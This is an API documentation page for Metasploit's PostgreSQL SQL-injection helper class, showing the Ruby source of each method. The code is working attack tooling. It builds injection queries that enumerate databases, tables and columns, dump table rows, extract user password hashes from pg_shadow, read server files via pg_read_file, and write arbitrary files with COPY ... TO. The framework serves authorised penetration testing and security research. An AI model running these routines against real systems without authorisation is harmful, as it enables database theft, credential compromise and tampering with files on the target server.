Class: Msf::Exploit::SQLi::PostgreSQLi::Common

Inherits:
Common
  • Object
show all
Defined in:
lib/msf/core/exploit/sqli/postgresqli/common.rb

Direct Known Subclasses

BooleanBasedBlind, TimeBasedBlind

Constant Summary collapse

ENCODERS =

Encoders supported by PostgreSQL Keys are function names, values are decoding procs in Ruby

{
  base64: {
    encode: 'translate(encode(^DATA^::bytea, \'base64\'), E\'\n\',\'\')',
    decode: proc { |data| Base64.decode64(data) }
  },
  hex: {
    encode: 'encode(^DATA^::bytea, \'hex\')',
    decode: proc { |data| Rex::Text.hex_to_raw(data) }
  }
}.freeze
BIT_COUNTS =
{ 0 => 0, 0b1 => 1, 0b11 => 2, 0b111 => 3, 0b1111 => 4, 0b11111 => 5, 0b111111 => 6, 0b1111111 => 7, 0b11111111 => 8 }.freeze

Instance Attribute Summary

Attributes inherited from Common

#concat_separator, #datastore, #framework, #null_replacement, #safe, #second_concat_separator, #truncation_length

Attributes included from Rex::Ui::Subscriber::Input

#user_input

Attributes included from Rex::Ui::Subscriber::Output

#user_output

Instance Method Summary collapse

Methods inherited from Common

#raw_run_sql, #run_sql

Methods included from Module::UI

#init_ui

Methods included from Module::UI::Message

#print_error, #print_good, #print_prefix, #print_status, #print_warning

Methods included from Module::UI::Message::Verbose

#vprint_error, #vprint_good, #vprint_status, #vprint_warning

Methods included from Module::UI::Line

#print_line, #print_line_prefix

Methods included from Module::UI::Line::Verbose

#vprint_line

Methods included from Rex::Ui::Subscriber

#copy_ui, #init_ui, #reset_ui

Methods included from Rex::Ui::Subscriber::Input

#gets

Methods included from Rex::Ui::Subscriber::Output

#flush, #print, #print_blank_line, #print_error, #print_good, #print_line, #print_status, #print_warning

Constructor Details

#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ Common

See SQLi::Common#initialize



29
30
31
32
33
34
35
36
37
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 29

def initialize(datastore, framework, user_output, opts = {}, &query_proc)
  if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
    # if it's a String or a Symbol, use a predefined encoder if it exists
    opts[:encoder] = opts[:encoder].downcase.intern
    opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
  end
  opts[:concat_separator] ||= ','
  super
end

Instance Method Details

#current_databaseString

Query the current database name

Returns:

  • (String)

    The name of the current database



51
52
53
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 51

def current_database
  call_function('current_database()')
end

#current_userString

Query the current user

Returns:

  • (String)

    The username of the current user



59
60
61
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 59

def current_user
  call_function('getpgusername()')
end

#dump_table_fields(table, columns, condition = '', num_limit = 0) ⇒ Object

Query the given columns of the records of the given table, that satisfy an optional condition

@param table [String]  The name of the table to query
@param columns [Array] The names of the columns to query
@param condition [String] An optional condition, return only the rows satisfying it
@param num_limit [Integer] An optional maximum number of results to return
@return [Array] An array, where each element is an array of strings representing a row of the results


123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 123

def dump_table_fields(table, columns, condition = '', num_limit = 0)
  return '' if columns.empty?

  one_column = columns.length == 1
  if one_column
    columns = "coalesce(#{columns.first}::text,'#{@null_replacement}')"
    columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder
  else
    columns = "concat_ws('#{@second_concat_separator}'," + columns.map do |col|
      col = "coalesce(#{col}::text,'#{@null_replacement}')"
      @encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
    end.join(',') + ')'
  end
  unless condition.empty?
    condition = ' where ' + condition
  end
  num_limit = num_limit.to_i
  limit = num_limit > 0 ? ' limit ' + num_limit.to_s : ''
  retrieved_data = nil
  if @safe
    # no group_concat, leak one row at a time
    row_count = run_sql("select count(1)::text from #{table}#{condition}").to_i
    num_limit = row_count if num_limit == 0 || row_count < num_limit
    retrieved_data = num_limit.times.map do |current_row|
      if @truncation_length
        truncated_query("select substr(#{columns}::text,^OFFSET^,#{@truncation_length}) from " \
        "#{table}#{condition} limit 1 offset #{current_row}")
      else
        run_sql("select #{columns}::text from #{table}#{condition} limit 1 offset #{current_row}")
      end
    end
  else
    # if limit > 0, an alias will be necessary
    if num_limit > 0
      alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) }
      if @truncation_length
        retrieved_data = truncated_query('select substr(string_agg(' \
        "#{alias1}, '#{@concat_separator}'),"\
        "^OFFSET^,#{@truncation_length}) from (select #{columns}::text #{alias1} from #{table}"\
        "#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
      else
        retrieved_data = run_sql("select string_agg(#{alias1}, '#{@concat_separator}')"\
        " from (select #{columns}::text #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
      end
    else
      if @truncation_length
        retrieved_data = truncated_query('select substr(string_agg(' \
        "#{columns}::text, '#{@concat_separator}')," \
        "^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator || ',')
      else
        retrieved_data = run_sql("select string_agg(#{columns}::text, '#{@concat_separator}')" \
        " from #{table}#{condition}#{limit}").split(@concat_separator || ',')
      end
    end
  end
  retrieved_data.map do |row|
    row = row.split(@second_concat_separator)
    @encoder ? row.map { |x| @encoder[:decode].call(x) } : row
  end
end

#enum_database_namesArray

Query the names of all the existing databases

Returns:

  • (Array)

    An array of Strings, the database names



67
68
69
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 67

def enum_database_names
  dump_table_fields('pg_database', %w[datname]).flatten
end

#enum_dbms_usersArray

Query the PostgreSQL users (their username and password), this might require elevated privileges.

Returns:

  • (Array)

    an array of arrays representing rows, where each row contains two strings, the username and hashed password



94
95
96
97
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 94

def enum_dbms_users
  # might require elevated privileges
  dump_table_fields('pg_shadow', %w[usename passwd])
end

#enum_table_columns(table_name) ⇒ Object

Query the column names of the given table in the given database

@param table_name [String] the name of the table of which you want to query the column names
@return [Array] An array of Strings, the column names in the given table belonging to the given database


104
105
106
107
108
109
110
111
112
113
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 104

def enum_table_columns(table_name)
  if table_name.include?('.')
    database, table_name = table_name.split('.')
  else
    database = 'public' # or current_database() ?
  end
  dump_table_fields('information_schema.columns', %w[column_name],
                    "table_name='#{table_name}' and " \
                    "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
end

#enum_table_names(database = 'public') ⇒ Array

Query the names of the tables in a given database

Parameters:

  • database (String) (defaults to: 'public')

    the name of a database, or a function call, defaults to public

Returns:

  • (Array)

    An array of Strings, the table names in the given database



76
77
78
79
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 76

def enum_table_names(database = 'public')
  dump_table_fields('information_schema.tables', %w[table_name],
                    "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
end

#enum_view_names(database = 'public') ⇒ Array

Query the names of the views in the given database

Parameters:

  • database (String) (defaults to: 'public')

    The name of a database, or a function call, defaults to public

Returns:

  • (Array)

    An array of Strings, the view names in the given database



86
87
88
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 86

def enum_view_names(database = 'public')
  dump_table_fields('information_schema.views', %w[table_name], "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
end

#read_from_file(fpath, binary = false) ⇒ Object

Attempt reading from a file on the filesystem  @return [String] The content of the file if reading was successful

Parameters:

  • fpath (String)

    The path of the file to read

  • binary (String) (defaults to: false)

    Whether the target file should be considered a binary one (defaults to false)



215
216
217
218
219
220
221
222
223
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 215

def read_from_file(fpath, binary=false)
  if binary
    # pg_read_binary_file returns bytea
    # an encoder might be needed
    call_function("pg_read_binary_file('#{fpath}')")
  else
    call_function("pg_read_file('#{fpath}')")
  end
end

#test_vulnerableBoolean

Checks if the SQL injection is working, by checking that queries that should return known results return the results we expect from them

Returns:

  • (Boolean)

    Whether the check determined that the injection works



189
190
191
192
193
194
195
196
197
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 189

def test_vulnerable
  random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
  random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
  query_string = "'#{random_string}'"
  query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder
  output = run_sql("select #{query_string}")
  return false if output.nil?
  (@encoder ? @encoder[:decode].call(output) : output) == random_string
end

#versionObject

Query the PostgreSQL version

@return [String] The PostgreSQL version in use


43
44
45
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 43

def version
  call_function('version()')
end

#write_to_file(fname, data) ⇒ void

This method returns an undefined value.

Writes data to a file on the target system

Parameters:

  • fname (String)

    The full-path to the file where data will be written

  • data (String)

    The data to write



205
206
207
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 205

def write_to_file(fname, data)
  raw_run_sql("copy (select '#{data}') to '#{fname}'")
end